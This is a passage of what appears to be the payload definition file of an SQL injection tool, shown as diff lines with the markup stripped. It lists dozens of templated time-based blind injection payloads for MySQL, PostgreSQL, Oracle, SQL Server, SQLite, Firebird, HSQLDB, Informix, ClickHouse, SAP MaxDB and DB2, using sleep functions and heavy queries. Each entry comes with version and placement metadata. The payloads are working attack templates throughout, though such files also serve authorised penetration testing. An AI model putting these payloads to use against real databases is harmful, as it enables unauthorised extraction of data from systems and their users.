+ SQLite > 2.0 AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+ --
+
+
+ [DELAYED]
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ SQLite > 2.0 OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+ --
+
+
+ [DELAYED]
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Firebird >= 2.0 AND time-based blind (heavy query)
+ 5
+ 4
+ 2
+ 1,9
+ 1
+ AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
+
+
+ [DELAYED]
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Firebird >= 2.0 OR time-based blind (heavy query)
+ 5
+ 4
+ 3
+ 1,9
+ 1
+ OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
+
+
+ [DELAYED]
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Firebird >= 2.0 AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,9
+ 1
+ AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
+ --
+
+
+ [DELAYED]
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Firebird >= 2.0 OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,9
+ 1
+ OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
+ --
+
+
+ [DELAYED]
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ SAP MaxDB AND time-based blind (heavy query)
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
+
+
+ [DELAYED]
+
+
+ SAP MaxDB
+
+
+
+
+ SAP MaxDB OR time-based blind (heavy query)
+ 5
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
+
+
+ [DELAYED]
+
+
+ SAP MaxDB
+
+
+
+
+ SAP MaxDB AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
+ --
+
+
+ [DELAYED]
+
+
+ SAP MaxDB
+
+
+
+
+ SAP MaxDB OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
+ --
+
+
+ [DELAYED]
+
+
+ SAP MaxDB
+
+
+
+
+ HSQLDB >= 1.7.2 AND time-based blind (heavy query)
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 1
+ AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END
+
+ AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
+
+
+ [SLEEPTIME]
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ HSQLDB >= 1.7.2 OR time-based blind (heavy query)
+ 5
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END
+
+ OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
+
+
+ [SLEEPTIME]
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END
+
+ AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
+ --
+
+
+ [DELAYED]
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END
+
+ OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
+ --
+
+
+ [DELAYED]
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ HSQLDB > 2.0 AND time-based blind (heavy query)
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 1
+ AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END
+
+ AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+
+
+ [SLEEPTIME]
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+ HSQLDB > 2.0 OR time-based blind (heavy query)
+ 5
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END
+
+ OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+
+
+ [SLEEPTIME]
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+ HSQLDB > 2.0 AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END
+
+ AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+ --
+
+
+ [DELAYED]
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+ HSQLDB > 2.0 OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END
+
+ OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+ --
+
+
+ [DELAYED]
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+ Informix AND time-based blind (heavy query)
+ 5
+ 2
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
+
+
+ [DELAYED]
+
+
+ Informix
+
+
+
+
+ Informix OR time-based blind (heavy query)
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
+
+
+ [DELAYED]
+
+
+ Informix
+
+
+
+
+ Informix AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
+ --
+
+
+ [DELAYED]
+
+
+ Informix
+
+
+
+
+ Informix OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
+ --
+
+
+ [DELAYED]
+
+
+ Informix
+
+
+
+
+ ClickHouse AND time-based blind (heavy query)
+ 5
+ 4
+ 1
+ 1,2,3
+ 1
+ AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))
+
+ AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))
+
+
+ [DELAYED]
+
+
+ ClickHouse
+
+
+
+
+ ClickHouse OR time-based blind (heavy query)
+ 5
+ 5
+ 3
+ 1,2,3
+ 1
+ OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))
+
+ OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))
+
+
+ [DELAYED]
+
+
+ ClickHouse
+
+
+
+
+
+
+
+
+ MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)
+ 5
+ 3
+ 2
+ 1,2,3,4,5
+ 1
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1)
+
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1)
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)
+ 5
+ 5
+ 2
+ 1,2,3,4,5
+ 1
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1)
+
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1)
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+
+
+ MySQL >= 5.0.12 time-based blind - Parameter replace
+ 5
+ 2
+ 1
+ 1,2,3,9
+ 3
+ (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
+ 5
+ 3
+ 1
+ 1,2,3,9
+ 3
+ (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL < 5.0.12 time-based blind - Parameter replace (BENCHMARK)
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 3
+ (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])
+
+
+ [DELAYED]
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ MySQL > 5.0.12 time-based blind - Parameter replace (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 3
+ IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
+
+ (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
+
+
+ [DELAYED]
+
+
+ MySQL
+ > 5.0.12
+
+
+
+
+ MySQL time-based blind - Parameter replace (bool)
+ 5
+ 4
+ 1
+ 1,2,3,9
+ 3
+ ([INFERENCE] AND SLEEP([SLEEPTIME]))
+
+ ([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+
+
+
+
+ MySQL time-based blind - Parameter replace (ELT)
+ 5
+ 5
+ 1
+ 1,2,3,9
+ 3
+ ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+
+
+
+
+ MySQL time-based blind - Parameter replace (MAKE_SET)
+ 5
+ 5
+ 1
+ 1,2,3,9
+ 3
+ MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))
+
+ MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+
+
+
+
+ PostgreSQL > 8.1 time-based blind - Parameter replace
+ 5
+ 3
+ 1
+ 1,2,3,9
+ 3
+ (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+
+
+ [SLEEPTIME]
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ PostgreSQL time-based blind - Parameter replace (heavy query)
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 3
+ (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+
+
+ [DELAYED]
+
+
+ PostgreSQL
+
+
+
+
+ Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)
+ 5
+ 4
+ 2
+ 1,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END))
+
+
+ [DELAYED]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+
+ Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)
+ 5
+ 3
+ 1
+ 1,3,9
+ 3
+ BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;
+
+ BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)
+ 5
+ 3
+ 1
+ 1,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle time-based blind - Parameter replace (heavy queries)
+ 5
+ 4
+ 2
+ 1,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)
+
+
+ [DELAYED]
+
+
+ Oracle
+
+
+
+
+ SQLite > 2.0 time-based blind - Parameter replace (heavy query)
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END))
+
+ (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))))
+
+
+ [DELAYED]
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Firebird time-based blind - Parameter replace (heavy query)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 3
+ IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])
+
+ (SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
+
+
+ [DELAYED]
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ SAP MaxDB time-based blind - Parameter replace (heavy query)
+ 5
+ 5
+ 2
+ 1,3,9
+ 3
+ (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ (SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
+
+
+ [DELAYED]
+
+
+ SAP MaxDB
+
+
+
+
+ IBM DB2 time-based blind - Parameter replace (heavy query)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 3
+ (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+
+
+ [DELAYED]
+
+
+ IBM DB2
+
+
+
+
+
+ HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query)
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)
+
+
+ [SLEEPTIME]
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ HSQLDB > 2.0 time-based blind - Parameter replace (heavy query)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))
+
+
+ [SLEEPTIME]
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+ Informix time-based blind - Parameter replace (heavy query)
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 3
+ (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)
+
+ (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
+
+
+ [DELAYED]
+
+
+ Informix
+
+
+
+
+
+
+ MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause
+ 5
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK)
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
+
+
+ [DELAYED]
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause
+ 5
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))
+
+
+ [SLEEPTIME]
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ PostgreSQL time-based blind - ORDER BY, GROUP BY clause (heavy query)
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END))
+
+
+ [DELAYED]
+
+
+ PostgreSQL
+
+
+
+
+ Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query)
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ [DELAYED]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)
+ 5
+ 3
+ 1
+ 2,3
+ 1
+ ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)
+
+ ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)
+ 5
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
